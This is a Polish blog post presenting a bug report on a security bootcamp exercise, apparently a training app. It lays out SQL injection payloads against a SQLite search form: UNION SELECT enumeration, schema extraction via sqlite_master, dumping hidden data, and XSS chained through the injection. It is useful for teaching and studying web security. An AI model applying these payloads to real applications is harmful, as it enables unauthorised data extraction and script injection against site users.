Raport błędów, Krzysztof Kotowicz (2011-01-30)
Poza raportem polecam wpis Krzysztofa na jego blogu: How to get SQL query contents from SQL injection flaw. Technika polegająca na wykorzystaniu sql injection w taki sposób, by uzyskać informację o wykonywanym przez bazę zapytaniu jest ciekawa i bardzo pomocna przy badaniu aplikacji, zwłaszcza w przypadku, gdy nie ma możliwości weryfikacji znalezisk lub podejrzeń bezpośrednio w jej kodzie.
Hej!
W końcu znalazłem czas, żeby zająć się bootcampem - jak zwykle sporo zabawy:
*oper* - podatność SQLi nie występuje (biała lista dopuszczalnych wartości -
AND i OR z OR jako domyślną wartością)
Można dołączyć dodatkowe kryteria (nie jest sprawdzany rozmiar tablic name,
operator i value) - są one wtedy jednak łączone z pozostałymi tym samym
operatorem wpisanym w *oper*
*value* - różne traktowanie danych w zależności od pola *name*: [ zob. też
na dole maila ]
- name=id - rzutowanie na inta lub intval(), brak podatności SQLi
- name=title : $name (NOT) LIKE '%$value%' - nieescape'owane meta znaki % i
_ (możliwość ataku DoS) + podatność SQLi:
Przykład:
name[] title operator[] = value[] %40'||'5 oper OR name[] id
operator[] = value[] 1125363980
zwróci:
Wiadomość: 1125363980
Wiadomość: 1125364051
Wiadomość: 1125364059
... title like '%%40'||5'%' or title = 1125363980 ...
Lub, z ciekawszych:
operator[] = value[] 4'/* oper OR name[] id operator[] = value[]
1125363980 name[] title value[] */||'05 operator[] =
Wiadomość: 1125364051
Wiadomość: 1125364059
... title like '%4'/*%' or id = 1125363980 or title like '%*/||'05%'...
tłumaczący się na title like '%4'||'05%', środkowy warunek zakomentowany
Idąc dalej - sqlite jest w wersji 3:
405%' AND sqlite_version()||'%' like '3
są pobierane cztery kolumny i w warunkach WHERE używane są dwa nawiasy:
name[] title operator[] = value[] 405%' AND sqlite_version()||'%' like '3
oper AND name[] id operator[] = value[] 1125364051 name[] title
value[] '))
union select null, null, null,null -- operator[] =
Wartości pobierane z bazy nie są escape'owane przy wyświetlaniu:
')) union select '<1>', '<2>', '<3>','<4>' --
<tr><td><a
href='javascript:void(<1>);'><2></a></td><td><3></td><td><4></td></tr>
czyli poprzez SQLi można zrobić XSS.
Nie używając blinda, za to korzystając z sqlite_master dostajemy CREATE
TABLE:
CREATE TABLE news (id INTEGER PRIMARY KEY, timestamp NUMERIC, message TEXT,
public NUMERIC, title TEXT)
co szybko daje nam dostęp do wszystkich kolumn, w tym nie pokazywanej
message:
')) union select message,title,id,null from news --
<tr><td><a href='javascript:void(Treść wiadomości: 1125363980.);'>Wiadomość:
1125363980</a></td><td>1125363980</td><td></td></tr>
<tr><td><a href='javascript:void(Treść wiadomości: 1125363988.);'>Wiadomość:
1125363988</a></td><td>1125363988</td><td></td></tr>
itd.
czyli information disclosure :)
Ale to nie koniec - korzystając z tego, że sqlite wspiera literały też z "
możemy wydobyć część zapytań SQL kierowanych z aplikacji do bazy, przez co
możemy odkryć dokładną zasadę przekształcania formularza w SQL:
name[]
title
operator[]
=
value[]
405%')) union select "
oper
AND
name[]
id
operator[]
=
value[]
1125364051
name[]
title
value[]
", null, null, null --
operator[]
=
<tr><td><a href='javascript:void(%') AND (id = 1125364051) AND (title LIKE
'%);'></a></td><td></td><td></td></tr>
co pozwala szybko stwierdzić, że:
- jest biała lista na nazwy pól, z defaultem na 'id'
- jeśli polem jest id lub public, operator nie jest w ogóle filtrowany,
tylko obcinany na pierwszej spacji (kolejna podatność SQLi). Wartość jest
rzutowana na inta.
- jeśli polem jest timestamp, mamy:
date(timestamp, 'unixepoch','localtime')
<operator_tu_niestety_do_pierwszej_spacji> date('<a wartosc tu>')
co daje kolejną podatność SQLi
- jeśli polem jest title, operator = jest tłumaczony na LIKE, każdy inny na
NOT LIKE
title NOT LIKE '%<a wartosc tu>%'
Podsumowując: SQLi dziura na dziurze, zreversowane zapytanie SQLowe + XSS +
naciągane information disclosure.